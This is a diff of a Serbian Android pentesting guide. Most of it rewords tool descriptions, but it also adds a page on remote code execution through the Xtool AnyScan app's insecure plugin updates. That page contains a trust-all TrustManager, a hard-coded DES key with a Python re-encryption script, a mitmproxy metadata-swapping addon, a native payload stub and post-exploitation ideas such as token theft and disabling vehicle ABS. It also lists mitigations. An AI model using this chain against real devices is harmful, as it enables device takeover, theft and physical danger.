- **Enumerate Class Methods**: Unesite ime klase (kao "java.io.File") i ispisuje sve metode klase.
|
||||
- **Search Class Pattern**: Pretražuje klase po obrascu
|
||||
- **Trace Class Methods**: **Prati** celu **klasu** (vidi ulaze i izlaze svih metoda klase). Zapamtite da po defaultu MobSF prati nekoliko zanimljivih Android API metoda.
|
||||
|
||||
Kada odaberete pomoćni modul koji želite da koristite, potrebno je da pritisnete "**Start Instrumentation**" i videćete sve izlaze u "**Frida Live Logs**".
|
||||
Kada izaberete pomoćni modul koji želite da koristite, treba da pritisnete "**Start Instrumentation**" i videćete sve izlaze u "**Frida Live Logs**".
|
||||
|
||||
**Shell**
|
||||
|
||||
@ -598,7 +599,7 @@ Ovo je **sjajan alat za izvođenje statičke analize sa GUI-jem**
|
||||
|
||||
### [Qark](https://github.com/linkedin/qark)
|
||||
|
||||
Ovaj alat je dizajniran da traži nekoliko **ranjivosti vezanih za bezbednost Android aplikacija**, bilo u **izvor kodu** ili **pakovanim APK-ima**. Alat je takođe **sposoban da kreira "Proof-of-Concept" deployable APK** i **ADB komande**, da bi iskoristio neke od pronađenih ranjivosti (Izložene aktivnosti, intencije, tapjacking...). Kao i sa Drozer-om, nije potrebno root-ovati test uređaj.
|
||||
Ovaj alat je dizajniran da traži nekoliko **ranjivosti vezanih za sigurnost Android aplikacija**, bilo u **izvor kodu** ili **pakovanim APK-ima**. Alat je takođe **sposoban da kreira "Proof-of-Concept" deployable APK** i **ADB komande**, da bi iskoristio neke od pronađenih ranjivosti (Izložene aktivnosti, intencije, tapjacking...). Kao i sa Drozer-om, nije potrebno root-ovati test uređaj.
|
||||
```bash
|
||||
pip3 install --user qark # --user is only needed if not using a virtualenv
|
||||
qark --apk path/to/my.apk
|
||||
@ -618,9 +619,9 @@ reverse-apk relative/path/to/APP.apk
|
||||
```
|
||||
### [SUPER Android Analyzer](https://github.com/SUPERAndroidAnalyzer/super)
|
||||
|
||||
SUPER je aplikacija za komandnu liniju koja se može koristiti na Windows, MacOS X i Linux, koja analizira _.apk_ fajlove u potrazi za ranjivostima. To radi dekompresovanjem APK-ova i primenom niza pravila za otkrivanje tih ranjivosti.
|
||||
SUPER je aplikacija za komandnu liniju koja se može koristiti na Windows, MacOS X i Linux, koja analizira _.apk_ datoteke u potrazi za ranjivostima. To čini dekompresovanjem APK-ova i primenom niza pravila za otkrivanje tih ranjivosti.
|
||||
|
||||
Sva pravila su fokusirana u `rules.json` fajlu, a svaka kompanija ili tester može kreirati svoja pravila za analizu onoga što im je potrebno.
|
||||
Sva pravila su fokusirana u `rules.json` datoteci, a svaka kompanija ili tester može kreirati svoja pravila za analizu onoga što im je potrebno.
|
||||
|
||||
Preuzmite najnovije binarne datoteke sa [strane za preuzimanje](https://superanalyzer.rocks/download.html)
|
||||
```
|
||||
@ -630,7 +631,7 @@ super-analyzer {apk_file}
|
||||
|
||||
.png>)
|
||||
|
||||
StaCoAn je **crossplatform** alat koji pomaže programerima, lovcima na greške i etičkim hakerima u izvođenju [static code analysis](https://en.wikipedia.org/wiki/Static_program_analysis) na mobilnim aplikacijama.
|
||||
StaCoAn je **crossplatform** alat koji pomaže programerima, lovcima na greške i etičkim hakerima da izvrše [static code analysis](https://en.wikipedia.org/wiki/Static_program_analysis) na mobilnim aplikacijama.
|
||||
|
||||
Koncept je da prevučete i ispustite datoteku vaše mobilne aplikacije (datoteka .apk ili .ipa) na StaCoAn aplikaciju i ona će generisati vizuelni i prenosivi izveštaj za vas. Možete prilagoditi postavke i liste reči kako biste dobili prilagođeno iskustvo.
|
||||
|
||||
@ -660,7 +661,7 @@ python androwarn.py -i my_application_to_be_analyzed.apk -r html -v 3
|
||||
|
||||
.png>)
|
||||
|
||||
**MARA** je **M**obilna **A**plikacija **R**everzno inženjerstvo i **A**naliza Framework. To je alat koji okuplja često korišćene alate za reverzno inženjerstvo i analizu mobilnih aplikacija, kako bi pomogao u testiranju mobilnih aplikacija protiv OWASP mobilnih bezbednosnih pretnji. Njegov cilj je da olakša ovaj zadatak i učini ga prijatnijim za programere mobilnih aplikacija i stručnjake za bezbednost.
|
||||
**MARA** je **M**obilna **A**plikacija **R**everzno inženjerstvo i **A**naliza Framework. To je alat koji okuplja često korišćene alate za reverzno inženjerstvo i analizu mobilnih aplikacija, kako bi pomogao u testiranju mobilnih aplikacija protiv OWASP mobilnih bezbednosnih pretnji. Njegov cilj je da ovu zadatak učini lakšim i prijatnijim za programere mobilnih aplikacija i stručnjake za bezbednost.
|
||||
|
||||
Može da:
|
||||
|
||||
@ -677,13 +678,13 @@ Koristan za otkrivanje malvera: [https://koodous.com/](https://koodous.com)
|
||||
|
||||
## Obfuscating/Deobfuscating code
|
||||
|
||||
Imajte na umu da zavisno od usluge i konfiguracije koju koristite za obfuskaciju koda. Tajne mogu ili ne moraju biti obfuskirane.
|
||||
Napomena da zavisno od usluge i konfiguracije koju koristite za obfuskaciju koda. Tajne mogu ili ne moraju biti obfuskirane.
|
||||
|
||||
### [ProGuard](<https://en.wikipedia.org/wiki/ProGuard_(software)>)
|
||||
|
||||
Sa [Vikipedije](<https://en.wikipedia.org/wiki/ProGuard_(software)>): **ProGuard** je open source alat za komandnu liniju koji smanjuje, optimizuje i obfuskira Java kod. U stanju je da optimizuje bajtkod kao i da detektuje i ukloni neiskorišćene instrukcije. ProGuard je besplatan softver i distribuira se pod GNU General Public License, verzija 2.
|
||||
Sa [Vikipedije](<https://en.wikipedia.org/wiki/ProGuard_(software)>): **ProGuard** je open source alat za komandnu liniju koji smanjuje, optimizuje i obfuskira Java kod. U stanju je da optimizuje bajtkod kao i da otkrije i ukloni neiskorišćene instrukcije. ProGuard je besplatan softver i distribuira se pod GNU General Public License, verzija 2.
|
||||
|
||||
ProGuard se distribuira kao deo Android SDK-a i pokreće se prilikom izgradnje aplikacije u režimu objavljivanja.
|
||||
ProGuard se distribuira kao deo Android SDK i pokreće se prilikom izgradnje aplikacije u režimu objavljivanja.
|
||||
|
||||
### [DexGuard](https://www.guardsquare.com/dexguard)
|
||||
|
||||
@ -692,24 +693,24 @@ Pronađite vodič korak po korak za deobfuskaciju apk-a na [https://blog.lexfo.f
|
||||
(Prema tom vodiču) Poslednji put kada smo proveravali, način rada Dexguard-a bio je:
|
||||
|
||||
- učitati resurs kao InputStream;
|
||||
- proslediti rezultat klasi koja nasleđuje FilterInputStream da bi ga dekriptovala;
|
||||
- proslediti rezultat klasi koja nasleđuje FilterInputStream da bi ga dekriptovali;
|
||||
- uraditi neku beskorisnu obfuskaciju da bi se izgubilo nekoliko minuta vremena od reverzera;
|
||||
- proslediti dekriptovani rezultat ZipInputStream-u da bi se dobio DEX fajl;
|
||||
- proslediti dekriptovani rezultat ZipInputStream-u da bi dobili DEX datoteku;
|
||||
- konačno učitati dobijeni DEX kao Resurs koristeći metodu `loadDex`.
|
||||
|
||||
### [DeGuard](http://apk-deguard.com)
|
||||
|
||||
**DeGuard obrnuta proces obfuskacije koji izvode Android alati za obfuskaciju. Ovo omogućava brojne analize bezbednosti, uključujući inspekciju koda i predikciju biblioteka.**
|
||||
**DeGuard obrnuta proces obfuskacije koju izvode Android alati za obfuskaciju. Ovo omogućava brojne analize bezbednosti, uključujući inspekciju koda i predikciju biblioteka.**
|
||||
|
||||
Možete da otpremite obfuskovani APK na njihovu platformu.
|
||||
|
||||
### [Deobfuscate android App]https://github.com/In3tinct/deobfuscate-android-app
|
||||
|
||||
Ovo je LLM alat za pronalaženje potencijalnih bezbednosnih ranjivosti u android aplikacijama i deobfuskaciju koda android aplikacija. Koristi Google-ov Gemini javni API.
|
||||
Ovo je LLM alat za pronalaženje potencijalnih bezbednosnih ranjivosti u android aplikacijama i deobfuskaciju koda android aplikacija. Koristi Google-ov javni API Gemini.
|
||||
|
||||
### [Simplify](https://github.com/CalebFenton/simplify)
|
||||
|
||||
To je **generički android deobfuskator.** Simplify **virtuelno izvršava aplikaciju** da bi razumeo njeno ponašanje i zatim **pokušava da optimizuje kod** tako da se ponaša identično, ali je lakše za razumevanje ljudima. Svaka vrsta optimizacije je jednostavna i generička, tako da nije važno koja specifična vrsta obfuskacije se koristi.
|
||||
To je **generički android deobfuskator.** Simplify **virtuelno izvršava aplikaciju** da razume njeno ponašanje i zatim **pokušava da optimizuje kod** tako da se ponaša identično, ali je lakše za razumevanje ljudima. Svaka vrsta optimizacije je jednostavna i generička, tako da nije važno koja specifična vrsta obfuskacije se koristi.
|
||||
|
||||
### [APKiD](https://github.com/rednaga/APKiD)
|
||||
|
||||
|
@ -0,0 +1,124 @@
|
||||
# Insecure In-App Update Mechanisms – Remote Code Execution via Malicious Plugins
|
||||
|
||||
{{#include ../../banners/hacktricks-training.md}}
|
||||
|
||||
Mnoge Android aplikacije implementiraju **svoje “plugin” ili “dinamičke funkcije” kanale za ažuriranje** umesto korišćenja Google Play prodavnice. Kada je implementacija nesigurna, napadač sposoban da presretne saobraćaj može da obezbedi **arbitrarni nativni kod koji će biti učitan unutar procesa aplikacije**, što dovodi do potpune Remote Code Execution (RCE) na uređaju – i u nekim slučajevima na bilo kom spoljnjem uređaju koji kontroliše aplikacija (automobili, IoT, medicinski uređaji …).
|
||||
|
||||
Ova stranica sumira lanac ranjivosti iz stvarnog sveta pronađen u Xtool **AnyScan** aplikaciji za dijagnostiku automobila (v4.40.11 → 4.40.40) i generalizuje tehniku kako biste mogli da auditujete druge Android aplikacije i iskoristite pogrešnu konfiguraciju tokom angažovanja red-tima.
|
||||
|
||||
---
|
||||
## 1. Identifikacija nesigurnog TLS TrustManager-a
|
||||
|
||||
1. Decompile-ujte APK sa jadx / apktool i locirajte mrežni stek (OkHttp, HttpUrlConnection, Retrofit…).
|
||||
2. Potražite **prilagođeni `TrustManager`** ili `HostnameVerifier` koji slepo veruje svakom sertifikatu:
|
||||
```java
|
||||
public static TrustManager[] buildTrustManagers() {
|
||||
return new TrustManager[]{
|
||||
new X509TrustManager() {
|
||||
public void checkClientTrusted(X509Certificate[] chain, String authType) {}
|
||||
public void checkServerTrusted(X509Certificate[] chain, String authType) {}
|
||||
public X509Certificate[] getAcceptedIssuers() {return new X509Certificate[]{};}
|
||||
}
|
||||
};
|
||||
}
|
||||
```
|
||||
3. Ako je prisutan, aplikacija će prihvatiti **bilo koji TLS sertifikat** → možete pokrenuti transparentni **MITM proxy** sa sertifikatom potpisanim od strane sebe:
|
||||
```bash
|
||||
mitmproxy -p 8080 -s addon.py # see §4
|
||||
iptables -t nat -A OUTPUT -p tcp --dport 443 -j REDIRECT --to-ports 8080 # on rooted device / emulator
|
||||
```
|
||||
## 2. Obrnuto inženjerstvo metapodataka ažuriranja
|
||||
|
||||
U slučaju AnyScan, svaki pokretanje aplikacije pokreće HTTPS GET na:
|
||||
```
|
||||
https://apigw.xtoolconnect.com/uhdsvc/UpgradeService.asmx/GetUpdateListEx
|
||||
```
|
||||
Odgovor telo je **XML dokument** čiji `<FileData>` čvorovi sadrže **Base64-enkodiran, DES-ECB enkriptovan** JSON koji opisuje svaki dostupni plugin.
|
||||
|
||||
Tipični koraci u potrazi:
|
||||
1. Pronađite kripto rutinu (npr. `RemoteServiceProxy`) i povratite:
|
||||
* algoritam (DES / AES / RC4 …)
|
||||
* način rada (ECB / CBC / GCM …)
|
||||
* hard-kodirani ključ / IV (često 56-bitni DES ključevi ili 128-bitni AES ključevi u konstantama)
|
||||
2. Ponovno implementirajte funkciju u Python-u za dekriptovanje / enkriptovanje metapodataka:
|
||||
```python
|
||||
from Crypto.Cipher import DES
|
||||
from base64 import b64decode, b64encode
|
||||
|
||||
KEY = IV = b"\x2A\x10\x2A\x10\x2A\x10\x2A" # 56-bit key observed in AnyScan
|
||||
|
||||
def decrypt_metadata(data_b64: str) -> bytes:
|
||||
cipher = DES.new(KEY, DES.MODE_ECB)
|
||||
return cipher.decrypt(b64decode(data_b64))
|
||||
|
||||
def encrypt_metadata(plaintext: bytes) -> str:
|
||||
cipher = DES.new(KEY, DES.MODE_ECB)
|
||||
return b64encode(cipher.encrypt(plaintext.ljust((len(plaintext)+7)//8*8, b"\x00"))).decode()
|
||||
```
|
||||
## 3. Napravite Zlonamerni Plugin
|
||||
|
||||
1. Izaberite bilo koji legitimni plugin ZIP i zamenite nativnu biblioteku sa vašim payload-om:
|
||||
```c
|
||||
// libscan_x64.so – constructor runs as soon as the library is loaded
|
||||
__attribute__((constructor))
|
||||
void init(void){
|
||||
__android_log_print(ANDROID_LOG_INFO, "PWNED", "Exploit loaded! uid=%d", getuid());
|
||||
// spawn reverse shell, drop file, etc.
|
||||
}
|
||||
```
|
||||
|
||||
```bash
|
||||
$ aarch64-linux-android-gcc -shared -fPIC payload.c -o libscan_x64.so
|
||||
$ zip -r PWNED.zip libscan_x64.so assets/ meta.txt
|
||||
```
|
||||
2. Ažurirajte JSON metapodatke tako da `"FileName" : "PWNED.zip"` i `"DownloadURL"` upućuje na vaš HTTP server.
|
||||
3. DES-enkripcija + Base64-enkodiranje izmenjenog JSON-a i kopiranje nazad unutar presretnutog XML-a.
|
||||
|
||||
## 4. Isporuka Payload-a sa mitmproxy
|
||||
|
||||
`addon.py` primer koji *tiho* menja originalne metapodatke:
|
||||
```python
|
||||
from mitmproxy import http
|
||||
MOD_XML = open("fake_metadata.xml", "rb").read()
|
||||
|
||||
def request(flow: http.HTTPFlow):
|
||||
if b"/UpgradeService.asmx/GetUpdateListEx" in flow.request.path:
|
||||
flow.response = http.Response.make(
|
||||
200,
|
||||
MOD_XML,
|
||||
{"Content-Type": "text/xml"}
|
||||
)
|
||||
```
|
||||
Pokrenite jednostavan veb server za hostovanje malicioznog ZIP-a:
|
||||
```bash
|
||||
python3 -m http.server 8000 --directory ./payloads
|
||||
```
|
||||
Kada žrtva pokrene aplikaciju, ona će:
|
||||
* preuzeti naš lažirani XML preko MITM kanala;
|
||||
* dekriptovati i analizirati ga sa hard-kodiranim DES ključem;
|
||||
* preuzeti `PWNED.zip` → raspakovati unutar privatne memorije;
|
||||
* `dlopen()` uključeni *libscan_x64.so*, odmah izvršavajući naš kod **sa dozvolama aplikacije** (kamera, GPS, Bluetooth, sistem datoteka, …).
|
||||
|
||||
Pošto je dodatak keširan na disku, backdoor **ostaje aktivan nakon ponovnog pokretanja** i pokreće se svaki put kada korisnik odabere povezanu funkciju.
|
||||
|
||||
## 5. Ideje za post-eksploataciju
|
||||
|
||||
* Ukrao sesijske kolačiće, OAuth tokene ili JWT-ove koje aplikacija čuva.
|
||||
* Ostaviti APK druge faze i tiho ga instalirati putem `pm install` (aplikacija već ima `REQUEST_INSTALL_PACKAGES`).
|
||||
* Zloupotrebiti bilo koji povezani hardver – u AnyScan scenariju možete slati proizvoljne **OBD-II / CAN bus komande** (otključavanje vrata, onemogućavanje ABS-a, itd.).
|
||||
|
||||
---
|
||||
### Lista za detekciju i ublažavanje (plavi tim)
|
||||
|
||||
* NIKADA ne šaljite produkcijsku verziju sa prilagođenim TrustManager/HostnameVerifier koji onemogućava validaciju sertifikata.
|
||||
* Ne preuzimajte izvršni kod sa spolja, osim Google Play-a. Ako *morate*, potpišite svaki dodatak istim **apkSigning v2** ključem i proverite potpis pre učitavanja.
|
||||
* Zamenite slabu/hard-kodiranu kriptografiju sa **AES-GCM** i rotirajućim ključem na serverskoj strani.
|
||||
* Validirajte integritet preuzetih arhiva (potpis ili barem SHA-256).
|
||||
|
||||
---
|
||||
## Reference
|
||||
|
||||
- [NowSecure – Remote Code Execution Discovered in Xtool AnyScan App](https://www.nowsecure.com/blog/2025/07/16/remote-code-execution-discovered-in-xtool-anyscan-app-risks-to-phones-and-vehicles/)
|
||||
- [Android – Unsafe TrustManager patterns](https://developer.android.com/privacy-and-security/risks/unsafe-trustmanager)
|
||||
|
||||
{{#include ../../banners/hacktricks-training.md}}
|
Loading…
x
Reference in New Issue
Block a user